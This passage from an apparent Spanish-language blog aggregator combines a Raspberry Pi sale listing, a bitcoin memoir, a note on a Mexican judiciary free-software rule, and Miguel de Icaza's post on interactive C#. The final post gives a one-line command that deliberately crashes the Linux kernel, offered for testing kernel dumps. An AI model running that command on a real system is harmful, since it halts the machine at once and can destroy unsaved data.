  • 1 Puerto Ethernet 10/100
  • 1 Puerto de salida HDMI

El SoC es un BCM2835, con procesador 1 núcleo ARM1176JZFS con punto flotante, de 700MHz y 256MB de RAM.

Estado

Funciona correctamente, no tiene ningún daño a la vista.

Forma de Conseguirlo

Me pueden contactar por los medios habituales, el costo del envío fuera de CDMX va por su cuenta.

Lunes 07 de marzo de 2016

bitcoin

bitcoinLas 4:00 a.m., noviembre del año 2008, hace algo de frío, estoy terminando de checar unos paquetes para el sistema GNU/Linux Debian que tengo instalado en el servidor casero y algunas búsquedas en google, ya casi amanece y el sueño me esta venciendo, los parpados se me cierran, por lo que … un momento, estoy viendo la referencia de un proyecto open source, algo peculiar, veamos (click), se llama bitcoin, es una ¿cripto divisa?, ¿dinero a través de p2p?, hay que dormir un poco lo revisare en cuanto despierte …

Así fue como hace un tiempo me tope con el proyecto bitcoin, de esas veces que estas a punto de retirarte y de repente un destello a lo lejos se hace notar, al principio creí que podría ser una broma, dada la naturaleza de lo que trataba e implicaba, como soy un poco curioso, comencé a leer todo sobre lo que se hablaba en el foro, referencias, búsquedas en google, sucesos actuales (televisión) y documentales, etc.

Es interesante, dado que conforme crecemos, nadie habla sobre la naturaleza del dinero y los bancos, recuerdo que cuando oí del dinero, es en la materia de historia, en aquellos tiempos cuando la humanidad era joven, se realizaban principalmente trueques, una practica que actualmente sigue en algunas localidades del país o en otras culturas, después de ello ya no oyes hablar mas del dinero, al menos no en la escuela, hasta el momento de pagar la colegiatura o las cuentas.

Es algo curioso, por que todos utilizamos el dinero en nuestra vida diaria, quien no ha pensado que los bancos son como grandes cajas negras y aunque muchos creemos que hablar del dinero es algo sencillo …

La verdad, no lo es, el dinero su mecánica, es tan compleja que puede tardarse en entenderla, todos los factores que influyen, y aún así los mas experimentados en estos temas, comentan que es demasiado complejo, ni que decir de los bancos.

En ese entonces me pregunte, ¿porqué se crearía algo mas complejo?, ¿a caso no los inventos son para ayudarnos a ser mas óptimos y eficientes?, la complejidad en el dinero en lugar de ayudarnos, ¿acaso no nos perjudica?, es inevitable no leer todas las historias de conspiraciones que hay acerca del tema, y sobre como se relata en algunos casos de una élite que quiere seguir con el control del mundo a través del dinero, la deuda, etc.

Al involucrarme poco a poco, en el mundo del bitcoin, todos los días entraba al foro y leía los post que enviaba una persona con alias “Satoshi Nakamoto“, también leí el libro blanco (white paper), el cual habla sobre el funcionamiento de la cadena de bloques (blockchain) y el bitcoin, a lo cual me surgieron mas dudas, estas se disipaban conforme “Satoshi” daba respuesta a las dudas en el foro, así como yo, quienes también estaban en el foro le preguntaban y él contestaba a cada una de ellas o en su caso alguien mas respondía y si faltaban detalles “Satoshi” lo completaba.

Durante ese tiempo me toco ver cuando la cadena de bloques fue reiniciada dos veces, lo que implico que el bloque cero (génesis), fuera re-creado dos veces, por detalles que hubo con el software, aunque ya se tenia la red de prueba, donde existe una cadena de bloques alternativa para probar modificaciones o implementaciones nuevas al software de bitcoin (testnet).

En el foro también se bromeaba mucho sobre los calcetines de alpaca, con bitcoin se podría enviar dinero a cualquier persona en el mundo y comprar lo que se quisiera, la transferencia sería instantánea y dependiendo de algunos factores podría realizarse de manera gratuita sin costo en comisiones, ¿porqué no?, comprar unos calcetines de alpaca.

Y entonces, ¿que es bitcoin?.

Es un conjunto de tecnologías, que de igual forma como sucedió con la creación de “ajax“, solo era cuestión de ver como pueden funcionar juntas, bitcoin funciona principalmente por la cadena de bloques, que seria un gran libro, donde cada transacción de la red se almacena de manera pública y como su nombre lo dice en bloques, formando una cadena, ligando cada bloque o eslabón por el hash del bloque anterior, se juntan diversas tecnologías: de cifrado (curva elíptica), hash, base de datos, etc., seria la versión resumida, la versión larga esta en arameo y tardaría un poco mas en explicarla, no es tanto así, pero si se necesita un poco mas para detallar la forma técnica en la que funciona todo.

Características mas importantes en bitcoin:

  • Nuestro mundo, cuenta con recursos finitos, que al ser usados (transformados), pueden ya no encontrarse mas, un ejemplo de esto es el petróleo, el oro, etc., aunque estudios actuales muestran que hay mas oro en nuestro planeta, pero es complicada su extracción, también se sabe que existen en el universo planetas donde hay abundancia de algunos recursos, por ejemplo, en algunos hay oro, en otros diamante, etc., me pregunto que pasara con el costo cuando los viajes a otros planetas sea posible, en fin, en bitcoin, la cantidad de monedas es también finita, se estableció en el código fuente la cantidad total de bitcoin’s que existirán y serán solamente 21 Millones, no mas.
  • Es posible fraccionar un bitcoin hasta en 0.00000001.
  • Para usar bitcoin, no es necesario una entidad bancaria (banco), tu mismo eres tu propio banco y esto gracias también al cifrado (llaves asimétricas), lo que hace importante que no pierdas tu cartera (wallet) bitcoin, en ella es almacenada las llaves públicas y principalmente las privadas, utilizadas para poder usar los bitcoin que se tengan y reconocer nuevos depósitos.
  • Anónimo, es posible con bitcoin generar cantidad ilimitada de direcciones para deposito, las direcciones lucen de esta forma: 1GcGFudVLJ8PvM9eons31rXKW2MaqNyPoG, se ha encontrado actualmente que es posible rastrear, el uso de las direcciones, y es por ello que bitcoin ya no es considerado como totalmente anónimo, aún así, se considera que tiene un grado de anonimato.
  • Transferencias a todo el mundo, cuando se hace una transacción en bitcoin, este es validado por todos los nodos en la red, con ello se tiene la seguridad de una transacción correcta, por ejemplo, no se haga un doble gasto de fondos, así como también, se eliminan los altos costos de enviar dinero a alguien en algún lugar lejano, como por ejemplo, para comprar unos calcetines de alpaca, las comisiones por transacción pueden ser cero, muy económico en verdad.
  • No es necesario estar conectado a internet todo el tiempo, únicamente si se requiere enviar bitcoin’s, en el momento que se usa el cliente de bitcoin, comenzara a sincronizar la cadena de bloques hasta tener el bloque mas actual, con lo cual tendrá todas las transacciones que se han realizado en la red y por supuesto también que sean validas, cada cliente valida cada bloque de nuevo antes de agregarlo a su propia cadena, y gracias a la información contenida en nuestra cartera o (wallet) bitcoin, se reconocerán los fondos nuevos que se tengan, en el caso del envío no, es necesario estar conectado a internet para enviar la petición a los nodos y esta se replique hasta los mineros, que trabajan en la red para crear nuevos bloques.

Al paso de los días, veía un distanciamiento de “Satoshi”, y también los demás lo notaron, en ese entonces el comenzaba a ver y escribir en el foro sobre como y quien podría continuar con el proyecto, poco a poco “Satoshi” dejo de escribir cada vez mas hasta que fue nula su participación, el misterio que rodea al alias de “Satoshi”, es lo que mas llama la atención, en ningún momento se dio a conocer quien era en realidad.

Conforme paso el tiempo, muchas teorías se formularon alrededor de “Satoshi”, algunas personas comenzaron a investigar y tratar de dar con la identidad real de “Satoshi”, se llego o se piensa que puede no ser solo una persona, si no un grupo de personas, otra teoría hace pensar que pudiera ser “Satoshi” alguien del gobierno, etc., alguien del futuro, o incluso de otro planeta, es indudable que es un misterio la identidad de “Satoshi” y el como dejo esta nueva tecnología, lo que si es importante es que gracias a “Satoshi” se tiene una nueva tecnología que puede cambiar en gran forma el mundo.

Y el detalle es, que el gran invento es la cadena de bloques (blockchain) y bitcoin solo es una de las miles de aplicaciones que tiene esta nueva tecnología.

Actualmente mas personas utilizan bitcoin cada día, ha crecido mucho su uso, se utiliza principalmente como moneda complementaria, ¿quien sabe?, en un futuro sea solo la moneda que utilicemos, en la comunidad existen algunas discrepancias, como todo proyecto es necesario el consenso para la implementación de nuevas características, por ejemplo, el tema muy sonado estos días, el tamaño de los bloques, para lo cual se ha creado “Bitcoin Classic“, da una solución al problema de tamaño de los bloques, en lo que otras soluciones emergen.

En cuanto a la cadena de bloques, se pueden construir aplicaciones sobre ella o que la utilicen un ejemplo de esto es “ethereum“.

En mi caso estudio como trabajar con la cadena de bloques, para crear una aplicación que se llama “estresadito“, es un sistema administrativo para escuelas desde kinder hasta universidad, con la intensión de que se maneje tanto la información financiera y escolar (calificaciones) sobre la cadena de bloques, para hacer a la institución que la utilicé lo mas transparente posible y blindar la información para que no sea manipulada, en posteriores post hablaré de ella, así como otras mas en las que trabajo.

El futuro puede ser muy emocionante :-).

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

Informe PAPIME

Dice el dicho «No hay plazo que no se cumpla» y ha llegado la hora de presentar el Informe Final del Proyecto PAPIME.

Estaré ocupado.

Lunes 29 de febrero de 2016

Rigoberto Calleja

Rigoberto Calleja
Apuntes de Rigoberto Calleja

Comité administrativo del PJF establece obligación de considerar soluciones de software libre o de fuente abierta

El pasado viernes 26 de febrero del presente año fue publicado, en la edición matutina el Diario Oficial de la Federación, un Acuerdo General del Comité Coordinador para Homologar Criterios en Materia Administrativa e Interinstitucional del Poder Judicial de la Federación. Éste órgano se encarga de establecer lineamientos que permitan unificar los criterios empleados para administrar los recursos asignados a la institución.

A través del instrumento normativo en cuestión se establecieron medidas de disciplina presupuestal para el ejercicio fiscal 2016. Dentro de éstas figura la obligación para las áreas correspondientes de la Suprema Corte de Justicia de la Nación, Consejo de la Judicatura Federal y Tribunal Electoral del Poder Judicial de la Federación, en materia de adquisición de sistemas de información, de realizar un estudio de factibilidad para determinar la conveniencia de adquirir o arrendar bienes o contratar servicios. Para ello, deberán tomar en cuenta tanto soluciones comerciales como aquéllas basadas en software libre o de fuente abierta:

CAPÍTULO CUARTO

DE LAS MEDIDAS DE RACIONALIDAD, DISCIPLINA PRESUPUESTAL Y MODERNIZACIÓN DE LA GESTIÓN DE LOS ÓRGANOS DEL PODER JUDICIAL EN EL ÁMBITO DE SUS RESPECTIVAS COMPETENCIAS

DÉCIMO NOVENO.- Los Órganos del Poder Judicial promoverán de manera específica las siguientes acciones.

[…]

EN MATERIA DE TECNOLOGÍAS DE INFORMACIÓN Y COMUNICACIÓN (TIC’S):

[…]

Para la contratación en materia de TIC´s o desarrollo de sistemas informáticos, se realizará un estudio de factibilidad a efecto de determinar la conveniencia de adquirir o arrendar bienes o, en su caso, contratar servicios, el cual deberá comprender, entre otros elementos, los siguientes:

a) El análisis de las contrataciones vigentes y, en su caso, la determinación de la procedencia de su renovación;

b) La pertinencia de realizar contrataciones consolidadas, y

c) Los costos de mantenimiento, soporte y operación que impliquen la contratación, vinculados con el factor de temporalidad más adecuado para determinar la conveniencia de adquirir, arrendar o contratar servicios.

d) En el caso de contrataciones de software, se considerarán tanto soluciones comerciales, como software libre o código abierto, para lo cual evaluarán aquella opción que represente las mejores condiciones en cuanto a uso, costo, riesgo, beneficio e impacto.

Jueves 18 de febrero de 2016

Miguel de Icaza

Miguel de Icaza
Miguel de Icaza

The Evolution of Interactive C#

The Early Days

Years ago, in 2008 we introduced an interactive C# shell, at the time a challenge was to adjust the syntax to be suitable for interactive use, to provide a usable decent command line editing API for .NET and to turn our compiler as a service into a tool that could provide code completion.

A few months later, we added a UI shell for this on Linux and used Gtk's text widget to add support for embedding rich content into the responses. It was able to render images inline with the responses:

This was inspired at the time by the work that Owen Taylor at Red Hat had done on Re-interact. You can still watch a screencast of what it looked like.

Like Owen, I added a plot command:

At the time, Re-interact took some ideas from IPython and it seems like they are both inspired to some extent by Mathematica's interactive window.

Re-interact in particular introduced a brilliant idea, which was that users could go back in history, edit the previous expressions and the entire buffer would be re-evaluated. This idea lives on in Apple's Playgrounds for Swift.

In the meantime, the IPython project grew and they added one of my favorite features: it was now possible to blend text, explanations and code into workbooks. You can see a sample of this here. For years, I have desired an IPython for C#.

The Xamarin Years

In the meantime, at Xamarin, we experimented with the idea of bringing sometehing like Re-interact/Playgrounds to Xamarin Studio and we shipped Sketches:

But while these were interesting for trying out ideas and learning C#, they are not very useful for day to day work. We found that what our developers needed was a full C# REPL that was connected to the application they were running on, so they could experiment with their UI live. This is when we introduced Xamarin's Inspector. We took the existing engine and changed the way you interacted with C#.

The inspector was originally planned as a debugging aid, one that you could use to attach to a live Android/iOS/WPF process and use to examine:

We wrote several backends to provide some visual representation of the running app:

While Sketches used the IDE editing surface and a custom renderer view for results, with the Inspector we took a different route. Our interactive surface was an HTML canvas, and our results are rendered using HTML. This allowed us to do some pretty visualizations for results.

We have only started to explore what is possible in this space, and our last release included various data renderers. In particular, we added support for pretty printing collections and a handful of native Android and iOS results.

Up until now, we had been powered by Mono's C# compiler and while it has served us well for many years, it pales in comparison with the services that we could get out of Microsoft's Roslyn. Our code completion and error reporting were limited and the model did not translate too well to F#.

We recently switched the inspector to use Roslyn:

With this release, we ended up with an Inspector that can now be used either to debug/analyze a running app (very much like a web inspector), or one that can be used to experiment with APIs in the same spirit as other shells.

Continuous

In the meantime, Frank Krueger took the iOS support that we introduced for the compiler as a service, and wrote Continuous, a plug-in for Xamarin Studio and Visual Studio that allowed developers to live-code. That is, instead of using this as a separate tool, you can modify your classes and methods live and have your application update as you change the code:

Frank also added support for evaluating values immediately, and showing some values in comments, similar in spirit to his Calca app for iOS:

The Glorious Future

But now that we have a powerful HTML rendering engine to display our results and we upgraded our compiler engine, we are ready to take our next steps.

One step will be to add more visualizers and rendering capabilties to our results in our Inspector.

The second step is to upgrade Sketches based on this work. We will be changing the Sketches UI to be closer to IPython, that is, the ability of creating workbooks that contain both rich HTML text along with live code.

To give you a taste of what is coming up on our next release, check out this screenshot:

Developers will still have a few options of richly interacting with C# and F#:

  • With our inspector experiment with APIs like they do with many other interactive shells, and to poke and modify running apps on a wide spectrum of environments.
  • With Frank Krueger's Continuous engine to see your changes live for your C# code.
  • With our revamped Sketches/workbook approach to use it for creating training, educational materials.

Lunes 15 de febrero de 2016

Crashing your kernel on purpose

Ok, that sounds funny, doesn’t it? Well, it turns out, sometimes, you want to test your kernel dump or something of the sorts. Here’s how to do it:

echo c > /proc/sysrq-trigger

This will, instanly, crash your kernel.

References: